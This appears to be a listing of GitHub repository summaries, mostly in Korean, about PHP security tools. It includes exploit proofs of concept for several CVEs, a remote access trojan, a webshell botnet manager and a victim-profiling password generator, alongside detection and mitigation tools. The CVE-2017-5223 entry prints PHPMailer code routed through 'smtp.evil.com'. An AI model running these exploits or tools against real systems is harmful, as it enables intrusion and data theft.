CVE-2024-4577

CVE-2024-4577 고지 본 도구는 개인 보안 연구 학습 목적으로만 사용됩니다. 본 도구의 전파 및 사용으로 인해 발생하는 모든 직간접적 결과 및 손실은 사용자 본인에게 있으며, 도구 작성자는 이에 대해 어떠한 책임도 지지 않습니다. PHP NAME: PHP-CGI - 명령 실행 USAGE: global options command command options arguments... COMMANDS: help, h Shows a list of commands or help for one command GLOBAL...

phpMussel

phpMussel이란 무엇인가요? 공유 호스팅 환경에 이상적인 솔루션으로, 기존의 안티바이러스 보호 솔루션을 사용하거나 설치할 수 없는 경우가 많은 환경에서 phpMussel은 스크립트가 연결된 곳에서 시스템에 업로드된 파일 내의 트로이목마, 바이러스, 악성코드 및 기타 위협을 탐지 하도록 설계된 PHP 스크립트로, ClamAV 및 다른 시그니처를 기반으로 합니다. 기능: GNU General Public License 버전 2.0GPLv2 라이선스. 설치가 쉽고, 사용자 지정이 쉬우며, 사용하기 쉽습니다. PHP+PCRE가...

ARTLAS

ARTLAS 아파치 실시간 로그 분석기 시스템 실시간 아파치 로그 분석기로, OWASP 상위 10대 취약점을 기반으로 웹 애플리케이션에서 탐색 시도를 식별하고, Telegram, Zabbix 및 Syslog/SIEM을 통해 사용자나 사고 대응팀에 알림을 보냅니다. ARTLAS는 PHP-IDS 프로젝트의 정규 표현식을 사용하여 탐색 시도를 식별합니다. 최신 버전 파일 다운로드 링크: 파일 다운로드 변경 로그 - syslog 및 SIEM에 CEF 추가 - syslog 서버 또는 SIEM에 연결하는 옵션 추가 - 다양한 트리거와...

github-search

github-search GitHub에서 검색을 수행하기 위한 도구 모음입니다. 설치 git clone https://github.com/gwen001/github-search cd github-search pip3 install -r requirements.txt 대부분의 경우 GitHub는 검색을 수행하기 위해 토큰을 요구합니다. 복제된 저장소 디렉토리에 한 줄에 하나의 토큰을 넣어 .tokens 파일을 생성할 수 있습니다. 또는 다음과 같이 환경 변수를 설정할 수도 있습니다 권장:...

hostscan

hostscan 0.2 Hostscan은 특정 호스트 범위를 스캔할 수 있는 PHP 도구로, 주로 정보 수집 및 약한 비밀번호 테스트를 위해 사용됩니다. 침투 테스트 도구라고 볼 수 있으며, 제가 자주 수행하는 일부 테스트를 자동화하기 위해 만들었습니다. PHP 기반이기 때문에 클라이언트 측 소프트웨어에 비해 상당히 느리게 작동합니다. How it works? IP 범위예: 127.0.0.1 - 127.0.0.10를 제공해야 합니다. 프로그램은 선택한 옵션에 따라 각 주소에 대해 개별적으로 작업을 수행한 다음 응답을 출력합니다...

CVE-2024-4577-Nuclei-Template

CVE-2024-4577 Nuclei 템플릿 이 저장소에는 CVE-2024-4577로 식별된 PHP CGI 인자 주입 취약점을 탐지하기 위한 Nuclei 템플릿이 포함되어 있습니다. 템플릿 상세 정보 id: CVE-2024-4577 info: name: CVE-2024-4577 PHP CGI Argument Injection author: Hüseyin TINTAŞ severity: critical description: CVE-2024-4577 PHP CGI Argument Injection Vulnerability. Thi...

CVE-2025-32432

CraftCMS CVE-2025-32432 익스플로잇 Chirag Artani 개요 이 저장소는 CraftCMS 4.x 및 5.x 버전에 영향을 미치는 사전 인증 원격 코드 실행RCE 취약점인 CVE-2025-32432에 대한 개념 증명 익스플로잇 스크립트를 포함합니다. 이 취약점은 CraftCMS의 자산 변환 생성 기능에 존재합니다. 이 익스플로잇 스크립트는 다음을 통해 취약점 탐지 및 확인을 자동화합니다: 1. CraftCMS 관리자 대시보드에서 CSRF 토큰 추출 2. PHP 객체 주입을 통한 취약점 악용 3. 시스템 정...

CVE-2021-40964

Tiny File Manager = 2.4.6 - リモートコード実行（認証済み） 🚨 エクスプロイトについて これは、CVE-2021-40964 の影響を受ける Tiny File Manager バージョン = 2.4.6 向けの、Bash ベースの認証済み リモートコード実行（RCE） エクスプロイトです。 このスクリプトは以下を利用します： 脆弱なアップロード検証と webroot の開示、 PHP コード実行につながる任意のファイルアップロードの脆弱性。 📌 詳細 エクスプロイトタイトル： Tiny File Manager = 2.4.6 - リモートコード実行（RCE...

CVE-2018-7600-Drupal-0day-RCE

CVE-2018-7600-Drupal-0day-RCE Drupal 0day 원격 PHP 코드 실행 Perl 이것은 Drupal CMS의 0day RCE 익스플로잇입니다. 서버에 페이로드를 업로드할 수 있습니다. CVE : CVE-2018-7600 Cxsecurity : https://cxsecurity.com/issue/WLB-2018040108 익스플로잇 실행 방법 : 1-git clone https://github.com/dr-iman/CVE-2018-7600-Drupal-0day-RCE.git 2-ActivePerl을...

D-RAT_VB.NET_MySQL_PHP

D-RATVB.NETMySQLPHP D-RAT VB.NET+MySQL+PHP 이 프로젝트는 "D-RAT" 서버와 클라이언트 "D-STUB"로 구성됩니다. 클라이언트 및 서버 프로그래밍 언어: "VB.NET Framework 2" 데이터베이스: "MySQL" 웹 페이지: "PHP" https://www.youtube.com/watch?v=opBbmQ5BRFk...

CVE-2022-43117

제안된 설명 Sourcecodester Password Storage Application in PHP/OOP and MySQL 1.0에서 Name, Username, Description 및 Site Feature 매개변수를 통해 여러 크로스 사이트 스크립팅XSS 취약점이 발견되었습니다. 추가 정보 Proof Of Concept: https://drive.google.com/file/d/1ZmAuKMVzUpL8pt5KXQJk8IyPECoVP9xw/view?usp=sharing Vendor Homepage:...

CVE-2019-9653

CVE-2019-9653 날짜 공개일: 03/11/2019 최종 업데이트: 03/15/2019 요약 NUUO Inc.는 비디오 중심 감시 솔루션을 제공하는 회사입니다. 다양한 요구 사항을 가진 고객들을 위해 여러 NVRNetwork Video Recorder 제품을 보유하고 있습니다. 이 NVR들은 여러 대의 카메라를 관리할 수 있는 Linux 임베디드 영상 녹화 시스템입니다. 현재 전 세계의 많은 공공 기관, 기업, 은행, 개인 등에서 널리 사용되고 있습니다. 이 NVR 시스템의 웹 인터페이스에는 인증되지 않은 공격자가 악용...

CVE-2024-2961

CVE-2024-2961 CVE-2024–2961 보안 문제 완화 스크립트 설명 이 저장소에는 GNU libcglibc 2.39 및 이전 버전에서 확인된 버퍼 오버플로 취약점CVE-2024-2961을 확인하고 완화하는 Bash 스크립트가 포함되어 있습니다. 이 취약점은 iconv 함수를 사용하여 요청 인코딩과 특정 중국어 확장 인코딩ISO-2022-CN-EXT 간을 변환할 때 PHP에 영향을 미칩니다. 악용될 경우 잠재적으로 광범위한 영향을 초래할 수 있습니다. 사용법 사전 요구사항 시스템 구성 파일을 수정하는 데 필요한 권한...

password-generator

비밀번호 생성기 BruteForce 또는 MD5 크랙/비교용 $ php password-generator --info="victim name,victim surname , victim age , victim email" --info 피해자의 모든 정보를 가져옵니다. --path 파일이 저장될 경로 선택 사항. --md5 이 값을 사용하여 생성된 비밀번호는 MD5로도 생성됩니다 선택 사항. $ php password-generator --info="victim name,victim surname , victim age ,...

WG-CVE-2026-1555-Linux

██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ ██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝ ╚═════╝ ╚═══╝...

CVE-2015-6967

CVE-2015-6967 Nibbleblog 4.0.3 - 임의 파일 업로드 CVE-2015-6967 요구 사항 python 3 requests 사용법 usage: exploit.py -h --url URL --username USERNAME --password PASSWORD --payload PAYLOAD optional arguments: -h, --help show this help message and exit --url URL, -l URL --username USERNAME, -u USERNAME --passwor...

CVE-2017-5223

CVE-2017-5223 IsSMTP; $mail-Host = "smtp.evil.com"; $mail-Port = 25; $mail-SMTPAuth = true; $mail-CharSet = "UTF-8"; $mail-Encoding = "base64"; $mail-Username = "[email protected]"; $mail-Password = "tes1234t"; $mail-Subject = "hello"; $mail-From = "[email protected]"; $mail-FromName =...

CVE-2025-49113

Python Script for CVE-2025-49113 사용법: python exploit.py https://ubuntu.com/security/CVE-2025-49113 설명: Roundcube Webmail 1.5.10 미만 및 1.6.x 1.6.11 미만 버전에서는 인증된 사용자가 URL의 from 매개변수가 program/actions/settings/upload.php에서 검증되지 않아 원격 코드 실행이 가능하며, 이로 인해 PHP 객체 역직렬화가 발생합니다...

quasibot

quasiBot quasiBot 0.3 - 리드미 07.08.14 개요 QuasiBot은 PHP로 작성된 복잡한 웹셸 관리자로, 사용자가 직접 구현한 웹 기반 백도어에서 작동합니다. 준비된 PHP 백도어를 사용하여 quasiBot은 각 백도어와 통신하려는 C&C 역할을 합니다. 이 도구는 스캐닝, 익스플로잇 등의 유용한 기능을 제공하므로 평범한 웹셸 관리자를 넘어섭니다. 준quasi-HTTP 봇넷이기 때문에 그렇게 불립니다. 또한 quasiBot을 사용하면 ftp, ssh 또는 데이터베이스와 같은 서비스에 다양한 브루트포스 공...

CVE-2022-40471

CVE-2022-40471 – CPMS認証済みファイルアップロードRCE 📌 概要 CVE-2022-40471 は、認証されたリモートコード実行の脆弱性であり、影響を受けるのは Clinic's Patient Management System CPMS です。 この脆弱性は、ユーザープロフィール画像アップロード機能におけるアップロードファイルの不十分な検証 が原因で存在し、認証された攻撃者が任意のPHPコードをアップロードして実行することを可能にします。 🧠 脆弱性の詳細 製品: Clinic's Patient Management System CPMS 脆弱性タイプ:...